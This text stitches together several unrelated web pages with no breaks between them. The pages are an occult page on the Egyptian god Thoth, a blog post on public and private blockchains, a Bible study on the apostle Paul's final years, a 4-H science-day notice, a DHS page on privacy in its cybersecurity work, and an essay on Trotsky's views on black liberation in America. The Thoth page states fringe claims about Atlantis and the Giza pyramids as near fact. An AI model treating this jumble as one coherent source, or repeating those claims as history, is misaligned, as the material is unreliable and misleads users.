One of Thoth’s numerous roles was to record the outcome for the deceased person who had entered the Hall of Judgement. Anubis would check the weight of the dead persons heart on the scales against the weight of the feather of Maat to see if they balanced each other. And it was Thoth who declared the deceased to be ‘true of voice’ or vindicated if they did. As the god of magick, Thoth taught Isis the craft of magick to Isis enabling her to bring Osiris back to life and saving the life of Horus when a scorpion had stung him and he faced immanent death.
Thoth's female counterpart and according to mythology, his wife was Seshat, (although alternate myths state that Maat was Thoth's wife). Seshat, the female scribe, is depicted as wearing a panther skin dress and has a seven pointed star above her head. Like Thoth she was also associated with measurement – temple reliefs from the middle kingdom show her recording gains made from foreign battles. She is often referred to as ‘she who is foremost in the house of books’ and ‘lady of the builders’ which again suggests her role as consort to Thoth.
As Thoth the Atlantean, Thoth was said to be an Atlantean priest that left Atlantis prior to its destruction and moved to Khem (Egypt) where he founded a new civilisation based on the higher knowledge of the Atlantean society. As a priest who had knowledge of the gift of immortality he was said to have created the three pyramids at Giza to instruct initiates in the art of transforming the physical and spiritual body using the Merkabah, which is symbolised by the star tetrahedron we see Thoth holding in his palm in the picture above. According to Flower of Life teachings the Pharoah Akenaten and his wife Nefertitti where instrumental in trying to steer Egypt to unlock the key to mankinds existance found in the Egyptian mystery school network that Thoth himself had founded.
When you look at the variety and depth of the mythology concerning Thoth, it comes as no surprise that he should be credited with authorship of The Book of Thoth and the Emerald Tablets of Thoth (an artists impression of which can be seen on the left). Whether these legends are based on fact of myth has become a disputed subject over the last decade or so. Certainly, Pythagoras, himself a mystery school initiate, is said to have written that Thoth had taken him by the hand, led him under the great pyramid and taught him about the sacred nature of geometry and the true nature of reality. Certainly there are many people who claim to have had direct communication with Thoth as a god form, which leads us to the starting possibility that Thoth is more of an interdimensional being than a myth.
Other related resources
An Introduction to Hieroglyphs (ThothWeb)
The Egypt Gallery (ThothWeb)
'The Book of Thoth’ - A Treasury of Truth and Beauty
The THOTH Tarot Gallery
A fact Sheet on Aleister Crowley
Free Tarot Reading Using the Thoth Deck
Image of Thoth Copyright by Kristen A. Vasques - and used with FULL permission
Copyright © by The Book of THOTH - The complete guide to the Tarot, Magick and the Occult All Right Reserved.
Published on: 2006-03-12 (84278 reads)[ Go Back ] |
This week I want to talk about one of the aspects of the blockchain space that is fascinating - which is the ideology difference between public and private blockchains.
The first blockchain, Bitcoin, was introduced as a public network where anyone could join the network, and people could leave the network at any time. As long as users were paying fees for transactions, they would be allowed to transact on the network. Since Bitcoin, a number of public blockchains have surfaced, spawning almost every industry you can think of.
Capitalism has always structured itself around centralized control of resources, and it is through control of these resources that companies derive their power. Public blockchains aim to bring about decentralization of this power and give it back to individuals. The ideological underpinnings of public blockchains are important to understand since they determine the range of uses of public blockchains.
Although currency was the first application of a blockchain, it can be applied to various other industries to bring about decentralization and therefore a redistribution of power and control. However, it is clear that the organisations which have been hurt by the potential of blockchain to redistribute power and control are now building private blockchains in an attempt to hold on to that power.
The first such example which comes to mind is the consortium of banks which have come together to build a blockchain which will help in a range of financial and business situations. Bitcoin was and is a direct threat to the banking system - it currently allows money transfers which happen quickly and cheaply, and in the future, Bitcoin and other cryptocurrencies will inevitably offer almost all services that banks currently do. As such, it is no surprise that banks are doing their best to build private blockchains which aim to mimic the advantages of public blockchains while also having centralized control over the underlying blockchain.
One of the biggest innovations brought about by Bitcoin was that it enabled a methodology to reach decentralized consensus. In other words, it allowed all participants in the system to agree on the state of the ledger while also making it difficult to cheat the system.
With private blockchains, some parties (banks for example) will have greater power than other users. On a private blockchain, some entities will have the power to reverse transactions and even ban users. Put simply, private blockchains will look a lot like the centralized systems we have today - with the added benefit of greater speed and lower cost.
What is interesting to me is that we could have public and private blockchains co-exist together in the future. As for users, the decision of which one to use will inevitably come down to your own ideology. If you are a libertarian and aren't happy with the status quo, you will probably end up using public blockchains. On the other hand, you might feel that there is nothing wrong with centralized systems and therefore will prefer to transact on private blockchains where there is a higher degree of transparency.
History has shown that those in power will do everything they can to preserve that power. Given that public blockchains are a direct attack on the power of governments and banks (since governments issue currency and banks distribute it throughout the economy), it is no surprise that one hears a lot about private blockchains which take the form of national cryptocurrencies and blockchains for implementing government functions.
It is still early to say which way we are headed, but regulation will play a big role in how the world starts to adopt and use blockchains.
With that said, there is a strong possibility that users will still get to choose which platforms they use.
What do you think? Shoot us an email at [email protected] with your thoughts. |
“Paul lived there two whole years in his own rented quarters and welcomed all who came to him, proclaiming the kingdom of God and teaching about the Lord Jesus Christ with complete boldness and without restriction” (Acts 28:30-31 NET).
When we get to the end of a very exciting, enthralling book, we often want to know what happened next. This is what makes book series so popular.
I don’t know about you, but when I get to the end of the book of Acts, I want to know what happened next. Did Paul have to appear before Caesar? If he did, what happened? Was he set free? Did he travel further?
Gareth Reese, in his commentary on Acts (New Testament History: Acts, Joplin, MO: College Press, 1976), suggested that the Greek verb tense of Acts 28:30 implies that when Luke wrote this, a change had occurred in Paul’s situation. According to Roman records, if the accusers did not show up to press charges within two years, the prisoner was freed. Notice that Luke recorded that “Paul lived there two whole years…”
Also keep in mind what the angel told Paul during the storm at sea: “Do not be afraid, Paul; you must stand before Caesar. And behold, God has granted you all those who sail with you” (Acts 27:24). Put these two together and it would seem that Paul appeared before Nero, who was the Caesar at that time. As no Jewish accusers showed up, the case was dropped. Paul would have been a free man!
What did Paul do between being freed (approximately 63 AD) and his death (which seems to have been around 68 AD)? From the letters he wrote, this is what we can piece together.
If he was able to fulfill what he had been planning, we can assume he visited Philippi and Colossae (see Philippians 2:23-24 and Philemon 22). We know he visited Timothy as he travelled to Macedonia, and most assume this took place in Ephesus (1 Timothy 1:3). We know he left Titus in Crete (Titus 1:5). He visited Troas, Corinth and Miletus (2 Timothy 4:13, 20). He had planned to spend a winter in Nicopolis (Titus 3:12).
We know that he wanted to visit Spain (Romans 15:28). Scholars are divided as to whether this happened, with many thinking he was able to make this journey (and some even suggesting he traveled as far as Britain!) while others point out the difficulty in fitting a long journey in among the places we know he visited.
At the end of his second letter to Timothy we find Paul imprisoned. This was a more severe imprisonment than his earlier house arrest (see 2 Timothy 2:9). He writes about his conditions at the end of 2 Timothy and it would seem that he is awaiting execution: “For I am already being poured out as a drink offering, and the time of my departure has come. I have fought the good fight, I have finished the race, I have kept the faith. Henceforth there is laid up for me the crown of righteousness, which the Lord, the righteous judge, will award to me on that Day, and not only to me but also to all who have loved his appearing” (2 Timothy 4:6-8 ESV).
Christian tradition from the first century confirms this, that as a Roman citizen Paul was beheaded outside of Rome in the last year of Nero’s reign in the spring of 68 AD.
And now you know what is most likely to be the rest of the story!
Readings for next week
13 October – Hebrews 5-6
14 October – Hebrews 7-8
15 October – Hebrews 9
16 October – Hebrews 10
17 October – Hebrews 11 |
4-H Maps & Apps
On October 9, millions of young people across the nation will become scientists for the day as they participate in 4-H Maps & Apps: the 2013 National Science Experiment designed by Colorado State University. Visit the NYSD resource hub TODAY to download free copies of the experiment guide books and register your participation. You can also go to the 4-H Mall to order a re-usable 4-H Maps & Apps experiment kit for $24.95.
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The Department of Homeland Security (DHS) empowers its programs to succeed by integrating privacy protections from the outset. The DHS Privacy Office is the first statutorily mandated privacy office in the Federal Government, and serves a unique role as both an advisor and oversight body for the Department.
DHS views privacy as more than just compliance with privacy laws. Privacy at DHS is also about public trust and confidence, and how the government acts responsibly and transparently in the way it collects, maintains, and uses personally identifiable information (PII).
DHS employs a layered approach to privacy oversight for the Department’s cybersecurity activities. The process starts with the Chief Privacy Officer, and extends through the Cybersecurity and Infrastructure Security Agency (CISA)'s Component Privacy Officer, and dedicated privacy staff across the Department.
- This fact sheet summarizes the nexus between privacy and cybersecurity at DHS.
Fair Information Practice Principles (FIPPs)
In 2008, DHS issued a policy declaring the eight Fair Information Practice Principles (FIPPs). The FIPPs govern the appropriate use of PII at the Department and serve as the foundation of all privacy-related policies and activities at DHS. DHS uses the FIPPs to assess the nature and purpose of all PII collected by the Department to ensure it is necessary to preserve, protect, and secure the homeland. DHS applies the FIPPs to the full breadth and diversity of Department systems, programs, and initiatives that use PII, or are otherwise privacy-sensitive, including the Department’s cybersecurity activities.
Executive Order 13636 & 13691 Assessment Reports
Executive Order 13636, Improving Critical Infrastructure Cybersecurity, and Presidential Policy Directive 21 (PPD-21), Critical Infrastructure Security and Resilience, issued on February 12, 2013, require federal agencies to develop and incentivize participation in a technology-neutral cybersecurity framework, and to increase the volume, timeliness, and quality of the cyber threat information they share with the private sector.
Executive Order 13691, Promoting Private Sector Cybersecurity Information Sharing, issued on February 13, 2015, further acknowledges that organizations engaged in the sharing of information related to cybersecurity risks and incidents play an invaluable role in the collective cybersecurity of the United States. This Executive Order encourages the formation of such information sharing organizations, establishes mechanisms to improve their capabilities, and enables them to better partner with the Federal Government on a voluntary basis.
Section 5 of both Executive Orders requires that federal agencies coordinate with their respective senior agency privacy and civil liberties officials (“Senior Officials”) to ensure that appropriate protections for privacy and civil liberties are incorporated into any activities conducted under the Executive Orders. The Senior Officials are also required to annually assess and report upon the privacy and civil liberties impacts of their respective agencies’ activities undertaken pursuant to each Executive Order. The Senior Officials must submit those assessments to the Department of Homeland Security (DHS) Office for Civil Rights and Civil Liberties and the DHS Privacy Office for inclusion in the Privacy and Civil Liberties Assessment reports provided below:
- 2018 Executive Order 13636 & 13691 Privacy & Civil Liberties Assessment Report, November 2018
- 2017 Executive Order 13636 Privacy and Civil Liberties Assessment Report, January 2018
- 2016 Executive Order 13636 Privacy and Civil Liberties Assessment Report, July 14, 2016
- 2015 Executive Order 13636 Privacy and Civil Liberties Assessment Report, April 10, 2015
- 2014 Executive Order 13636 Privacy and Civil Liberties Assessment Report, April 2014
- Letter from the Privacy & Civil Liberties Oversight Board to DHS, March 21, 2014
Cyber-Related Privacy Impact Assessments
The PIAs listed below can be found on the NPPD PIA page under Cybersecurity-Related Privacy Impact Assessments.
- DHS/NPPD/PIA-030 – Continuous Diagnostics and Mitigation (CDM)
- DHS/NPPD/PIA-029 – Automated Indicator Sharing (AIS)
- DHS/NPPD/PIA-028 – Enhanced Cybersecurity Services (ECS)
- DHS/NPPD/PIA-027 – EINSTEIN 3 Accelerated (E3A)
- DHS/NPPD/PIA-026 – National Cybersecurity Protection System (NCPS)
- DHS/NPPD/PIA-008 – EINSTEIN 2 (E2)
- DHS/NPPD/PIA-001 – EINSTEIN
- Retired Cyber-Related Privacy Impact Assessments |
Leon Trotsky’s life and work were intrinsically intertwined with the rise and fall of the Russian Revolution. It is his heroic role as both its sword, during the October insurrection and civil war, and then his tragically doomed attempt to act as a shield for revolutionary Marxism against the rising Stalinist bureaucracy that ensures his place in world history. Trotsky was also an outstanding internationalist and, although he did not write a great deal on the African diaspora as a whole, he did address what was known by revolutionary socialists at the time as the “Negro question”—the systematic racism suffered by black people in the United States. Unfortunately, Trotsky’s analysis of the struggle for black liberation in America has received little critical attention in comparison with the rest of his life’s work. Yet human nature abhors even the slightest vacuum, and the relative silence on this question even among Trotskyists has made it easier for those less sympathetic to Trotsky’s politics to misrepresent his views. While Baruch Knei-Paz, for example, could not suppress his initial surprise that reading Trotsky on this question left him with “the impression of reading the words of a contemporary proponent of Black Power”, he put this down to Trotsky’s Leninist “political opportunism” in apparently exploiting “Negro nationalism for wider revolutionary aims”.1
Yet, paradoxically, more radical critics of Trotsky have often made quite the opposite claim that “Trotsky did not understand the force of nationalist passions amongst the Afro-Americans as a motivating engine of class struggle”.2 This article will not suggest that Trotsky provided any sort of final “revolutionary answer to the Negro question”. It will simply attempt to defend him from both charges levelled against him—of political opportunism on the one hand and crude philistinism on the other—through a historical exploration of the development and evolution of his analysis of the struggle for black liberation in America. It will be argued that, despite the kind of inevitable limitations and shortcomings in places, Trotsky overall demonstrated an instinctive sympathy with and a keen desire for a deeper understanding of the black liberation struggle in America, combined with an imagination characteristic of one of the greatest revolutionaries in the classical Marxist tradition.
A “non-Jewish Jew” in the Russian Empire
The roots of Trotsky’s profound internationalism lie, in part, in his experience growing up culturally, spiritually and temperamentally an outsider in Russia as a result of the Tsarist state sponsored racism against Jewish people. As Esme Choonara notes, “The Tsar presided over what was the deepest level of anti-Semitism in any country before the rise of Adolf Hitler and the Nazis in Germany. Anti-Semitism was actually encouraged by the state, which orchestrated mob violence—pogroms—against Jews. Jews were barred from settling or owning land in many parts of Russia, which is why Trotsky’s family ended up in Ukraine”.3 The son of Jewish farmers, Trotsky was born Lev Davidovich Bronstein in 1879. Most Jewish farmers in the region lived in “colonies” in the Kherson steppe near the Black Sea, and in a sense Jewish people were pioneers in the “Russian” colonisation of this remote wilderness (alongside other outsiders such as Serbs, Bulgarians and Greeks) on behalf of Tsarism and were free from much of the worst of the anti-Semitism of the period.4
In his 1930 “attempt at an autobiography”, My Life, Trotsky describes how his first school was in a German-Jewish “colony” nearby, and “through the colony ran a ravine: on the one side was the Jewish settlement, on the other, the German. The two parts stood out in sharp contrast. In the German section the houses were neat, partly roofed with tile and partly with reeds, the horses large, the cows sleek. In the Jewish section the cabins were dilapidated, the roofs tattered, the cattle scrawny.” Such injustice insulted the young Bronstein’s social conscience, though it is a testimony to his hostility to all forms of oppression that at secondary school he found himself coming to the fore in standing up for a German student bullied by one unpopular teacher, getting himself temporarily expelled for his troubles.5
After becoming a revolutionary Marxist in 1898, and ultimately becoming what Isaac Deutscher would call a “non-Jewish Jew” in the process, Trotsky first really demonstrated his political abilities and talent during the upheavals of 1905 which were prompted by the Russian Empire’s disastrous war with Japan. In October 1905 the world’s first workers’ council, the
St Petersburg Soviet of Workers’ Deputies, was formed. As Choonara notes, “Trotsky, more than any other revolutionary leader of his time, grasped the importance of the soviet and enthusiastically threw himself into its activities…at the age of 26, a young Jew in a country where anti-Semitism was rife, Trotsky was elected as a leader of the St Petersburg Soviet and became a key speaker and the editor of its news sheet.” In response to the revolution the Tsarist secret police encouraged a counter-revolutionary wave of bloody pogroms against Jews by the “Black Hundreds”. Amid what Trotsky remembered as “anxious days when the journalist wrote and the typesetter worked with a revolver in his pocket”, he was at the fore in helping ensure that the soviet in St Petersburg organised armed detachments of workers which successfully foiled any attempt to trigger a pogrom in the city.6
A Russian revolutionary in New York
In January 1917, after being deported from European country to country as a political exile from Russia, Trotsky was allowed to travel to America with his family where he rented an apartment in New York. As he recalled in My Life, it was here he first began to understand something of racism and resistance in the United States:
The janitor of the house was a Negro. My wife paid him three month’s rent in advance, but he gave her no receipt because the landlord had taken the receipt-book away the day before, to verify the accounts. When we moved into the house two days later, we discovered that the Negro had absconded with the rent of several of the tenants. Besides the money, we had entrusted to him the storage of some of our belongings. The whole incident upset us; it was such a bad beginning. But we found our property after all, and when we opened the wooden box that contained our crockery, we were surprised to find our money hidden away in it, carefully wrapped up in paper. The janitor had taken the money of the tenants who had already received their receipts; he did not mind robbing the landlord, but he was considerate enough not to rob the tenants. A delicate fellow, indeed. My wife and I were deeply touched by his consideration, and we always think of him gratefully. This little incident took on a symptomatic significance for me—it seemed as if a corner of the veil that concealed the “black” problem in the United States had lifted.7
Had Trotsky not returned to revolutionary Russia in 1917 but stayed in America just a few more months, another “corner of the veil” of the “Negro question” may well have been lifted. It was not just institutionalised racist segregation such as the Jim Crow laws that black people in America had to contend with, but also an ideological offensive, a conscious ruling class strategy of using racism to “divide and rule”. In early July 1917, in East St Louis, a horrific attack against the local black population that left
39 dead attracted national attention in the United States. As historian Winston James notes, the roots of this “pogrom” lay in “the customary labour competition between black and white workers, an institutionalised practice of a racist America”:
White workers kept black workers out of the unions; black workers, like many non-union white workers, engaged in strikebreaking; and employers took advantage of the division. Then on 2 July 1917, consumed by a festering accumulation of racist resentments, white East St Louis exploded into a diabolic orgy of indescribable savagery. Black people in that town were slaughtered and burned alive in the most barbaric and outrageous manner by white mobs; escaping black women and children were pinned down by gunfire or thrown back alive into the raging furnaces that had once been their homes; in other cases, the mob first nailed up boards over the doors and windows before setting homes ablaze.
A young Russian-Jewish immigrant who witnessed the violence told Oscar Leonard, the superintendent of the St Louis Jewish Educational and Charitable Association, that “the Russian ‘Black Hundreds’ could take lessons in pogrom-making from the whites of East St Louis. The Russians at least, he said, gave the Jews a chance to run while they were trying to murder them”.8
Meeting Claude McKay in Soviet Russia
Given that such tyranny reigned unchecked in the “land of the free”, it is not surprising that the October Revolution in Russia inspired many black people in America. One of those filled with hope by the upheaval of a socialist revolution which had brought an institutionally racist empire crashing down was a young Jamaican poet, Claude McKay (1890-1948). In 1912 McKay had left the Caribbean and moved to the United States. He was shocked by the open and blatant racism he encountered there, which was quite different to the more subtle variety he had been accustomed to in the British colony of Jamaica where black people had constituted the majority of the population. “It was the first time I had ever come face to face with such manifest, implacable hate of my race, and my feelings were indescribable… I had heard of prejudice in America but never dreamed of it being so intensely bitter,” he recalled in 1918:
In the South daily murders of a nature most hideous and revolting, in the North silent acquiescence, deep hate half-hidden under a puritan respectability, oft flaming up into an occasional lynching—this ugly raw sore in the body of a great nation. At first I was horrified; my spirit revolted against the ignoble cruelty and blindness of it all. Then I soon found myself hating in return but this feeling couldn’t last long for to hate is to be miserable.
Radicalising politically, McKay broke with his youthful Fabian socialism and joined the multiracial and militant Industrial Workers of the World (IWW). He also became a member of the radical black nationalist African Blood Brotherhood (ABB) formed in 1919. The ABB, which had increasingly close ties to the new Communist International, symbolised a new mood of resistance among black people in America after the First World War. As the “black Bolshevik” McKay put it in 1919:
Every Negro who lays claim to leadership should make a study of Bolshevism and explain its meaning to the coloured masses. It is the greatest and most scientific idea afloat in the world today that can be easily put into practice by the proletariat to better its material and spiritual life. Bolshevism…has made Russia safe for the Jew. It has liberated the Slav peasant from priest and bureaucrat who can no longer egg him on to murder Jews to bolster up their rotten institutions. It might make these United States safe for the Negro…if the Russian idea should take hold of the white masses of the Western world, and they should rise in united strength and overthrow their imperial capitalist government, then the black toilers would automatically be free!
In 1921 McKay wrote a letter to WEB Du Bois, editor of the National Association for the Advancement of Coloured People’s publication, The Crisis, declaring he was “surprised and sorry that in your editorial…you should leap out of your sphere to sneer at the Russian Revolution, the greatest event in the history of humanity…for American Negroes the indisputable and outstanding fact of the Russian Revolution is that a mere handful of Jews, much less in ratio to the number of Negroes in the American population, have attained, through the revolution, all the political and social rights that were denied to them under the regime of the Tsar”.9
In 1920, after Lenin’s forceful intervention at the second congress of the Communist International on the Negro question, McKay was invited to Moscow by the American revolutionary journalist John Reed as a representative of the ABB to discuss perspectives for black liberation. McKay had rejected Reed’s offer at the time because as primarily a poet he did not feel he was qualified in such a capacity.10 In 1922, however, when McKay received an invitation to attend the coming fourth congress of the Communist International in Moscow the opportunity was too good to resist and he left for Soviet Russia at once. “Those Russia days remain the most memorable of my life,” he would later recall.11 “Whenever I appeared in the street I was greeted by all of the people with enthusiasm…a spontaneous upsurging of folk feeling”—the complete reverse of his experiences in America and Europe. “Never in my life did I feel prouder of being an African, a black,” he recalled during the “lean hungry years” of 1922-3.12 Although he attended in his capacity as a leading artist of the Harlem Renaissance rather than a formal political capacity, McKay helped draft the Comintern’s resolution on the Negro question, a subject he also passionately and eloquently addressed the congress on:
The situation in America today is terrible and fraught with grave dangers. It is much uglier and more terrible than was the condition of the peasants and Jews of Russia under the Tsar. It is so ugly and terrible that very few people in America are willing to face it…the socialists and Communists have fought very shy of it because there is a great element of prejudice among the socialists and Communists of America. They are not willing to face the Negro question…this is the greatest difficulty that the Communists of America have got to overcome—the fact that they first have got to emancipate themselves from the ideas they entertain towards the Negroes before they can be able to reach the Negroes with any kind of radical propaganda.13
While in Moscow, McKay was not able to meet with Lenin (who was too ill) but did meet with such leading Bolsheviks as Zinoviev, Radek, Bukharin and above all Trotsky. Stalin never even bothered to reply to McKay’s request for a meeting. However, as McKay remembered in his 1937 autobiography A Long Way from Home, the request for a meeting with Stalin “vanished from my thoughts when I came in contact with the magnetic personality of Trotsky”, then commissar for war:14
Trotsky asked me some straight and sharp questions about American Negroes, their group organisations, their political position, their schooling, their religion, their grievances and social aspirations and, finally, what kind of sentiment existed between American and African Negroes. I replied with the best knowledge and information at my command. Then Trotsky expressed his own opinion about Negroes, which was more intelligent than that of any of the other Russian leaders…he was not quick to make deductions about the causes of white prejudice against black. Indeed, he made no conclusions at all, and, happily, expressed no mawkish sentimentality about black and white brotherhood. What he said was very practical…he urged that Negroes should be educated about the labour movement…he said he would like to set a practical example in his own department and proposed the training of a group of Negroes as officers in the Red Army.15
Overall McKay felt Trotsky “spoke wisely” and “was human and universal in his outlook. He thought of Negroes as people like any other people who were unfortunately behind in the march of civilisation.” McKay remembers that “before I left, Trotsky asked me to make a summary of my ideas, in writing, for him. This I did, and he wrote out a commentary on it.” Both were published in the Soviet press.16 Trotsky’s 1923 “Letter to Comrade McKay” showed the extent to which his thinking by this time had been moulded into shape by the perspectives on the Negro question laid down by Lenin and the Communist International, and Trotsky offered encouragement to McKay and the ABB, which by now was very close to the Communist International. “The day of general resolutions on the right of self-determination of the colonial peoples, on the equality of all human beings regardless of colour, is over,” Trotsky declared. “The time has come for direct and practical action. Every ten Negroes who gather around the flag of revolution—and unite to form a group for practical work among the Negroes, are worth 100 times more than dozens of the resolutions establishing principles, so generously passed by the Second International.” Trotsky therefore noted that “the education of Negro propagandists is an exceedingly urgent and important revolutionary task at the present juncture” but admitted that the role someone like himself could play in this “education” could, of course, only go so far. “What forms of organisation are most suitable for the movement among American Negroes, it is difficult for me to say, as I am insufficiently informed regarding the concrete conditions and possibilities. But the forms of organisation will be found, as soon as there is sufficient will to action.”
In the meantime, given the general retreat from the earlier high-points of black and white unity along class lines in America seen in, for example, the populist movement of the South in the 1890s and then the IWW, Trotsky defended the necessity and importance of black self-activity and of organisations such as the ABB in breaking down barriers to working class unity. Noting the racism of the trade union bureaucracy in America, Trotsky wrote that “the fight against this policy must be taken up from different sides, and conducted on various lines”. In “enlightening the proletarian consciousness” among “the Negro slaves of American capitalism”, by “awakening the feeling of human dignity, and of revolutionary protest” among black people in the United States, one of the most important steps towards class unity would have been taken.
Yet, given the general political backwardness of the American left on the “Negro question” and the subsequent mistrust of black people for the left as a whole, Trotsky reiterated that for the foreseeable future engaging black people politically in such a fashion “can only be carried out by self-sacrificing and politically educated revolutionary Negroes”.17
The American Trotskyists and the “Negro question”
Aside from this discussion with McKay at the time of the first four congresses of the Communist International, Trotsky in many ways could and did defer to others over the “Negro question” in the United States and, more generally, the national and colonial questions. As commissar for war when the Russian Revolution was besieged by international intervention and facing internal civil war, Trotsky’s priorities understandably lay elsewhere. Yet when Trotsky was forced into exile from the land of the October Revolution by the rising Stalinist bureaucracy he almost single-handedly faced the responsibility of defending and upholding the tradition of classical Bolshevism. In 1929 the exiled Trotsky wrote to his tiny group of supporters in America who had recently been expelled from the Communist Party and had just reconstituted themselves as the Communist League of America (Opposition).18 Trotsky stressed the importance of them taking up the “Negro question” even though they had no black members in their ranks at the time:
The trade union bureaucrats, like the bureaucrats of false Communism, live in the atmosphere of aristocratic prejudices of the upper strata of the workers. It will be a tragedy if the oppositionists are infected even in the slightest degree with these qualities. We must not only reject and condemn these prejudices; we must burn them out of our consciousness to the last trace. We must find the road to the most deprived, to the darkest strata of the proletariat, beginning with the Negro, whom capitalist society has converted into a pariah, and who must learn to see in us his revolutionary brothers. And this depends wholly upon our energy and devotion to the work.19
Unfortunately, Trotsky’s advice fell, if not on totally deaf ears, then on ears belonging to members of a tiny new group overwhelmed with other political work and divided about how to proceed on this most crucial question. In late February 1933, despite the fact that Hitler’s Nazis were on the brink of seizing power in Germany and Trotsky was in exile on the island of Prinkipo, he found time to meet a representative of the American Trotskyist movement, Arne Swabeck, to try and clarify “the Negro question in America”. The discussion was shaped by the fact that in 1928 the Communist Party (CP) had suddenly raised a new slogan—”Self_determination for the Black Belt” (an ill defined area of the United States where black people constituted the majority of the population and where without Jim Crow legislation they would naturally wield a measure of political power)—as if black people in America were oppressed on a national basis like colonised peoples as well as by racism. Given that the demand for a Black Belt had not come from black people in America themselves but had originated in Stalin’s Moscow, and given the recent record of the Stalinised Communist International in veering erratically towards ultra-leftism during the “Third Period”, the American Trotskyist movement were in general naturally rather sceptical. Instead of raising the abstract slogan for a Black Belt they generally insisted the main issue was still one of race and so the battle for “social, political and economic equality for the Negroes” in America.20
In the 1933 discussion Trotsky agreed that “if the situation was such that in America common actions existed between the white and the coloured workers, that the class fraternisation had already become a fact, then perhaps the arguments of our comrades would have a basis”. However, black people in America were on the defensive after the collapse of the mass movement around the Jamaican Pan-Africanist Marcus Garvey during the 1920s, while “the American worker is indescribably reactionary…in relation to the Negroes they are hangmen and they are so also towards the Chinese”. So it was “necessary to teach the American beasts…[and] to make them understand that the American state is not their state and that they do not have to be the guardians of this state”. Given the material oppression of the black population by white American society as a whole, including even the organised white working class, Trotsky argued there was a danger that a simple slogan of “equality” would itself be abstract and not raising the question of “self-determination for the Black Belt” was “a certain concession to the point of view of American chauvinism” and so “an adaptation to the ideology of the white workers”. “The Negro can be developed to a class standpoint only when the white worker is educated” and “self_determination” was a democratic demand, he reminded them.21
No doubt Trotsky was impressed by the important legal defence work on behalf of the “Scottsboro Boys” and others the Communist Party were now undertaking, which allowed the CP to lay down new roots within the black community of the United States. Moreover, as Trotsky now put it, in “a certain sense” as a slogan “self_determination” was revolutionary, and he proceeded to speculate how the drive for a Black Belt might play a key role in the process of “permanent revolution in America”. Through the course of such a struggle for a Black Belt, “it is then possible that the Negroes will become the most advanced section” of the American working class movement after previously being seen by the revolutionary left as the most backward and least organised. “It is very possible that the Negroes also through the self-determination will proceed to the proletarian dictatorship in a couple of gigantic strides, ahead of the great bloc of white workers. They will then furnish the vanguard”.22
In general Trotsky here demonstrated a keen sense of the fact that things were more complicated in America than they appeared on the surface, and that there were and are degrees and different forms of oppression. When the pressure on an oppressed group builds up to the kind of extreme levels it had in the United States with respect to black people, it is only a matter of time before things explode. When the oppressed fight back their revolt is likely to manifest itself in all manner of forms that are impossible to predict in advance. Moreover, the black population had the right to determine their own fate and organise their own defence in whatever manner and form they chose, and to expect if not uncritical then unconditional support of revolutionary socialists in the process. To reject “the demand for self-determination” for a Black Belt in advance just because black people had not yet themselves put it forward Trotsky thought was “doctrinarism”. Of course, “the Negroes are a race and not a nation”.23 However, nations could not be defined in purely objective terms, by territory, language or economic unit, but were what Benedict Anderson has called “imagined communities”, and nationalism—including black nationalism—was therefore a complicated cultural creation.24 As Trotsky put it, “An abstract criterion is not decisive in this question, but much more decisive is the historical consciousness, their feelings and their impulses. But that also is not determined accidentally but rather by the general conditions.” Indeed, “nations grow out of the racial material under definite conditions” and “the suppression of the Negroes pushes them towards a political and national unity…we do, of course, not obligate the Negroes to become a nation; if they are, then that is a question of their consciousness, that is, what they desire and what they strive for. We say: if the Negroes want that then we must fight against imperialism to the last drop of blood, so that they gain the right, wherever and how they please, to separate a piece of land for themselves”.25
Trotsky was only really “absolutely sure” about one aspect of any future revolutionary struggle in America—that once it began, as the most oppressed section of American society, black people “will in any case fight better than the white workers” for emancipation, and so what mattered for revolutionary socialists in America was waging “an uncompromising merciless struggle not against the supposed national presuppositions of the Negroes but against the colossal prejudices of the white workers”. Racism was ultimately not simply a question for the black people who suffered from it—white supremacy as an ideology was also fundamentally a critical problem facing the white working class in America. As Karl Marx had noted, “in the United States of America, every independent workers’ movement was paralysed as long as slavery disfigured a part of the republic. Labour in a white skin cannot emancipate itself where it is branded in a black skin”.26 Though slavery had not survived the revolutionary upheaval of the American Civil War it was still the case, as Trotsky now reminded his supporters, that “when the white worker performs the role of the oppressor he cannot liberate himself, much less the colonial peoples” or people of colour.27
While Trotsky conceded that “I have never studied this question and in my remarks I proceed from the general considerations”, in the 1933 discussions he showed that he was able to grasp many of the essentials of the concrete question of racial oppression in America. For example, on the contradictions of religious belief Trotsky noted that “the Baptism of the Negro is something entirely different from the Baptism of [American robber baron] Rockefeller. These are two different religions”.28 The most obvious weakness of Trotsky’s discussions here concerns his question about whether “the Negroes in the Southern states speak their own Negro language” which they “naturally fear” to speak because of lynching, but which may come “alive” when they feel free. However, Christopher Phelps has noted that Trotsky’s “curiosity and speculation about language is less peculiar, for example, when set against the context of the national question in Russia and Central Europe, where language and nationality were intertwined”.29 Overall, as George Breitman noted of Trotsky’s intervention, “to show his American comrades how he thought revolutionists should react to the oppression of the Negroes, he denounced the prejudiced white workers in more scathing, more bitter terms than any American Marxist, black or white, had ever done”. As Phelps notes, “Trotsky himself, in hammering this point home, could have better distinguished between gradations of racialist belief, from obtuseness to condescension to outright white supremacy, but at least he put the problem front and centre”.30
Trotsky concluded his discussion in 1933 by calling on the American Trotskyist movement to undertake “a serious discussion of this question”. Max Shachtman, then a leading theoretician of the early American Trotskyist movement, accordingly wrote a document entitled “Communism and the Negro” (1933) which he sent to Trotsky. “My opinion on the Negro question is of an entirely hypothetical nature,” Trotsky replied. “I know very little about it and am always ready to learn. I will read your manuscript with great interest”.31 Shachtman set out to defend the existing American Trotskyist position by comprehensively critiquing the Communist position of “self-determination for the Black Belt” (and so also implicitly challenging Trotsky’s position). While Shachtman’s work showed up the ludicrously abstract nature of proposals for a Black Belt, and in many ways was a pioneering and path-breaking Marxist historical analysis of race in America, Phelps is right to note that it was not without weaknesses. Shachtman’s slightly schematic perspectives for progress lacked predictive power, ruling out possibilities for any advance except through revolutionary black-labour unity, and more critically it dismissed the value of independent black self_organisation, something Trotsky, as we have seen, never did. As Phelps notes of Shachtman, “In denying the validity of independent black movements, he elided the decisive strategic question of what people of colour should do when the white working class is unwilling to support special black demands—or, even worse, given to resistance to black equality or outright racism”.32 Shachtman’s work was not published, for with the turn of the Communist International to the Popular Front the CP slogan of “Self_determination for the Black Belt” was put on the back burner in order not to offend racist “liberal” American opinion. There was also still little evidence that black Americans themselves demanded a Black Belt.
